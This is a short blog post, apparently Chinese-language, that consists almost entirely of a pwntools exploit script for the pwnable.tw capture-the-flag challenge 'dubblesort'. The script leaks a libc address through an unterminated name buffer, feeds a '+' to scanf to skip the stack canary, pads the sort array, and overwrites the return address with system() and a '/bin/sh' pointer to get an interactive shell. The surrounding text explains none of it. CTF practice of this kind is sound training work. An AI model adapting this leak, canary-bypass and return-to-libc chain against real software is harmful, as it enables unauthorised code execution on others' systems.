[pwnable.tw]-dubblesort

2019-01-31  本文已影响0人  2mpossible

exp:

#coding:utf-8
from PwnContext.core import *

#context.log_level = 'debug'

binary = './dubblesort'
debug_libc = './libc.so.6'

ctx.binary = binary
ctx.remote_libc = debug_libc
libc = ELF(debug_libc)
ctx.debug_remote_libc = True

p = ctx.start()
libc = ELF('./libc.so.6')

def write_data(data):
    p.recvuntil('number : ')
    p.sendline(data)

#gdb.attach(p,'b *0x56555a1d')
p.recvuntil('name :')
p.send('a'*28)
p.recvuntil('a'*28)
libc_base = u32(p.recv(4)) - 0x1ae244
log.success('libc_base addr : 0x%x'%libc_base)
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
log.success('system addr : 0x%x'%system_addr)
log.success('binsh addr : 0x%x'%binsh_addr)


p.recvuntil('sort :')

num = 35
p.sendline(str(num))

for i in range(24):
    write_data('0')

write_data('+')

for i in range(7):
    write_data(str(0xf0000000))

write_data(str(system_addr))
write_data(str(system_addr + 1))
write_data(str(binsh_addr))

#gdb.attach(p,'b *0x56555af9')

p.interactive()
上一篇 下一篇

猜你喜欢

热点阅读